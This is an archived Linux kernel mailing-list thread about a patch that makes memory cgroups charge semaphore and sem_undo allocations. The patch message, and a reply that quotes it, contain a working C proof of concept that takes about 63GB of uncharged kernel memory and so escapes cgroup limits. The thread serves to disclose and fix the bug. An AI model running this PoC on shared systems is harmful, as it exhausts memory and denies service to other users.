linux-mm.kvack.org archive mirror
 help / color / mirror / Atom feed
* [PATCH] memcg: charge semaphores and sem_undo objects
@ 2021-07-15  7:14 Yutian Yang
  2021-07-15 17:05 ` Shakeel Butt
  2021-07-15 17:49 ` Matthew Wilcox
  0 siblings, 2 replies; 5+ messages in thread
From: Yutian Yang @ 2021-07-15  7:14 UTC (permalink / raw)
  To: mhocko, hannes, vdavydov.dev; +Cc: cgroups, linux-mm, shenwenbo, Yutian Yang

This patch adds accounting flags to semaphores and sem_undo allocation
sites so that kernel could correctly charge these objects. 

A malicious user could take up more than 63GB unaccounted memory under 
default sysctl settings by exploiting the unaccounted objects. She could 
allocate up to 32,000 unaccounted semaphore sets with up to 32,000 
unaccounted semaphore objects in each set. She could further allocate one 
sem_undo unaccounted object for each semaphore set.

The following code shows a PoC that takes ~63GB unaccounted memory, while 
it is charged for only less than 1MB memory usage. We evaluate the PoC on 
QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. 

/*------------------------- POC code ----------------------------*/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <time.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sched.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

int main(int argc, char *argv[]) {
  int err, semid;
  struct sembuf sops;
  for (int i = 0; i < 31200; ++i) {
    semid = semget(IPC_PRIVATE, 31200, IPC_CREAT);
    if (semid == -1) {
      errExit("semget");
    }
    sops.sem_num = 0;
    sops.sem_op = 1;
    sops.sem_flg = SEM_UNDO;
    err = semop(semid, &sops, 1);
    if (err == -1) {
      errExit("semop");
    }
  }
  while(1);
  return 0;
}
/*-------------------------- end --------------------------------*/

Thanks!

Yutian Yang,
Zhejiang University

Signed-off-by: Yutian Yang <nglaive@gmail.com>
---
 ipc/sem.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/ipc/sem.c b/ipc/sem.c
index f6c30a85d..6860de0b1 100644
--- a/ipc/sem.c
+++ b/ipc/sem.c
@@ -511,7 +511,7 @@ static struct sem_array *sem_alloc(size_t nsems)
 	if (nsems > (INT_MAX - sizeof(*sma)) / sizeof(sma->sems[0]))
 		return NULL;
 
-	sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL);
+	sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL_ACCOUNT);
 	if (unlikely(!sma))
 		return NULL;
 
@@ -1935,7 +1935,7 @@ static struct sem_undo *find_alloc_undo(struct ipc_namespace *ns, int semid)
 	rcu_read_unlock();
 
 	/* step 2: allocate new undo structure */
-	new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL);
+	new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL_ACCOUNT);
 	if (!new) {
 		ipc_rcu_putref(&sma->sem_perm, sem_rcu_free);
 		return ERR_PTR(-ENOMEM);
-- 
2.25.1



^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH] memcg: charge semaphores and sem_undo objects
  2021-07-15  7:14 [PATCH] memcg: charge semaphores and sem_undo objects Yutian Yang
@ 2021-07-15 17:05 ` Shakeel Butt
  2021-07-16  3:57   ` Vasily Averin
  2021-07-15 17:49 ` Matthew Wilcox
  1 sibling, 1 reply; 5+ messages in thread
From: Shakeel Butt @ 2021-07-15 17:05 UTC (permalink / raw)
  To: Yutian Yang, Vasily Averin
  Cc: Michal Hocko, Johannes Weiner, Vladimir Davydov, Cgroups,
	Linux MM, shenwenbo

+Vasily Averin

On Thu, Jul 15, 2021 at 12:15 AM Yutian Yang <nglaive@gmail.com> wrote:
>
> This patch adds accounting flags to semaphores and sem_undo allocation
> sites so that kernel could correctly charge these objects.
>
> A malicious user could take up more than 63GB unaccounted memory under
> default sysctl settings by exploiting the unaccounted objects. She could
> allocate up to 32,000 unaccounted semaphore sets with up to 32,000
> unaccounted semaphore objects in each set. She could further allocate one
> sem_undo unaccounted object for each semaphore set.
>
> The following code shows a PoC that takes ~63GB unaccounted memory, while
> it is charged for only less than 1MB memory usage. We evaluate the PoC on
> QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster.
>
> /*------------------------- POC code ----------------------------*/
> #define _GNU_SOURCE
> #include <sys/types.h>
> #include <sys/ipc.h>
> #include <sys/sem.h>
> #include <sys/stat.h>
> #include <time.h>
> #include <stdint.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <stdio.h>
> #include <sched.h>
>
> #define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
>                         } while (0)
>
> int main(int argc, char *argv[]) {
>   int err, semid;
>   struct sembuf sops;
>   for (int i = 0; i < 31200; ++i) {
>     semid = semget(IPC_PRIVATE, 31200, IPC_CREAT);
>     if (semid == -1) {
>       errExit("semget");
>     }
>     sops.sem_num = 0;
>     sops.sem_op = 1;
>     sops.sem_flg = SEM_UNDO;
>     err = semop(semid, &sops, 1);
>     if (err == -1) {
>       errExit("semop");
>     }
>   }
>   while(1);
>   return 0;
> }
> /*-------------------------- end --------------------------------*/
>
> Thanks!
>
> Yutian Yang,
> Zhejiang University
>
> Signed-off-by: Yutian Yang <nglaive@gmail.com>

Thanks for the patch Yutian. I remember patch from Vasily regarding
memcg charging of similar objects.

Vasily, what's the status of your patch?

> ---
>  ipc/sem.c | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
>
> diff --git a/ipc/sem.c b/ipc/sem.c
> index f6c30a85d..6860de0b1 100644
> --- a/ipc/sem.c
> +++ b/ipc/sem.c
> @@ -511,7 +511,7 @@ static struct sem_array *sem_alloc(size_t nsems)
>         if (nsems > (INT_MAX - sizeof(*sma)) / sizeof(sma->sems[0]))
>                 return NULL;
>
> -       sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL);
> +       sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL_ACCOUNT);
>         if (unlikely(!sma))
>                 return NULL;
>
> @@ -1935,7 +1935,7 @@ static struct sem_undo *find_alloc_undo(struct ipc_namespace *ns, int semid)
>         rcu_read_unlock();
>
>         /* step 2: allocate new undo structure */
> -       new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL);
> +       new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL_ACCOUNT);
>         if (!new) {
>                 ipc_rcu_putref(&sma->sem_perm, sem_rcu_free);
>                 return ERR_PTR(-ENOMEM);
> --
> 2.25.1
>


^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH] memcg: charge semaphores and sem_undo objects
  2021-07-15  7:14 [PATCH] memcg: charge semaphores and sem_undo objects Yutian Yang
  2021-07-15 17:05 ` Shakeel Butt
@ 2021-07-15 17:49 ` Matthew Wilcox
  2021-07-15 18:22   ` Shakeel Butt
  1 sibling, 1 reply; 5+ messages in thread
From: Matthew Wilcox @ 2021-07-15 17:49 UTC (permalink / raw)
  To: Yutian Yang; +Cc: mhocko, hannes, vdavydov.dev, cgroups, linux-mm, shenwenbo

On Thu, Jul 15, 2021 at 03:14:44AM -0400, Yutian Yang wrote:
> This patch adds accounting flags to semaphores and sem_undo allocation
> sites so that kernel could correctly charge these objects. 
> 
> A malicious user could take up more than 63GB unaccounted memory under 
> default sysctl settings by exploiting the unaccounted objects. She could 
> allocate up to 32,000 unaccounted semaphore sets with up to 32,000 
> unaccounted semaphore objects in each set. She could further allocate one 
> sem_undo unaccounted object for each semaphore set.

Do we really have to account every object that's allocated on behalf of
userspace?  ie how seriously do we take this kind of thing?  Are memcgs
supposed to be a hard limit, or are they just a rough accounting thing?

There could be a very large stream of patches turning GFP_KERNEL into
GFP_KERNEL_ACCOUNT.  For example, file locks (fs/locks.c) are only
allocated with GFP_KERNEL and you can allocate one lock per byte of a
file.  I'm sure there are hundreds more places where we do similar things.


^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH] memcg: charge semaphores and sem_undo objects
  2021-07-15 17:49 ` Matthew Wilcox
@ 2021-07-15 18:22   ` Shakeel Butt
  0 siblings, 0 replies; 5+ messages in thread
From: Shakeel Butt @ 2021-07-15 18:22 UTC (permalink / raw)
  To: Matthew Wilcox
  Cc: Yutian Yang, Michal Hocko, Johannes Weiner, Vladimir Davydov,
	Cgroups, Linux MM, shenwenbo

On Thu, Jul 15, 2021 at 10:50 AM Matthew Wilcox <willy@infradead.org> wrote:
>
> On Thu, Jul 15, 2021 at 03:14:44AM -0400, Yutian Yang wrote:
> > This patch adds accounting flags to semaphores and sem_undo allocation
> > sites so that kernel could correctly charge these objects.
> >
> > A malicious user could take up more than 63GB unaccounted memory under
> > default sysctl settings by exploiting the unaccounted objects. She could
> > allocate up to 32,000 unaccounted semaphore sets with up to 32,000
> > unaccounted semaphore objects in each set. She could further allocate one
> > sem_undo unaccounted object for each semaphore set.
>
> Do we really have to account every object that's allocated on behalf of
> userspace?  ie how seriously do we take this kind of thing?  Are memcgs
> supposed to be a hard limit, or are they just a rough accounting thing?

The memcgs are used for providing isolation between different
workloads running on the system and not just rough accounting
estimation. So, if there is an unbound allocation which can be
triggered by userspace than it should be accounted.

>
> There could be a very large stream of patches turning GFP_KERNEL into
> GFP_KERNEL_ACCOUNT.  For example, file locks (fs/locks.c) are only
> allocated with GFP_KERNEL and you can allocate one lock per byte of a
> file.  I'm sure there are hundreds more places where we do similar things.

We used to do opt-out kmem memcg accounting but switched to opt-in
with a9bb7e620efdf ("memcg: only account kmem allocations marked as
__GFP_ACCOUNT") with the reason that number of allocations which
should not be charged are larger than the allocations which should be
charged.

Personally I would prefer we go back to the opt-out accounting
specially after we have switched to reparenting the kmem charges and
shared kmem caches.


^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH] memcg: charge semaphores and sem_undo objects
  2021-07-15 17:05 ` Shakeel Butt
@ 2021-07-16  3:57   ` Vasily Averin
  0 siblings, 0 replies; 5+ messages in thread
From: Vasily Averin @ 2021-07-16  3:57 UTC (permalink / raw)
  To: Shakeel Butt, Yutian Yang
  Cc: Michal Hocko, Johannes Weiner, Vladimir Davydov, Cgroups,
	Linux MM, shenwenbo

On 7/15/21 8:05 PM, Shakeel Butt wrote:
> On Thu, Jul 15, 2021 at 12:15 AM Yutian Yang <nglaive@gmail.com> wrote:
>> Signed-off-by: Yutian Yang <nglaive@gmail.com>
> 
> Thanks for the patch Yutian. I remember patch from Vasily regarding
> memcg charging of similar objects.

Yes, it is part of my "memcg: enable accounting of ipc resources" patch.
We account few other IPC objects too. 

> Vasily, what's the status of your patch?

It is still not merged, unfortunately, I will try to push it again.

Thank you,
	Vasily Averin


^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2021-07-16  3:57 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2021-07-15  7:14 [PATCH] memcg: charge semaphores and sem_undo objects Yutian Yang
2021-07-15 17:05 ` Shakeel Butt
2021-07-16  3:57   ` Vasily Averin
2021-07-15 17:49 ` Matthew Wilcox
2021-07-15 18:22   ` Shakeel Butt

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).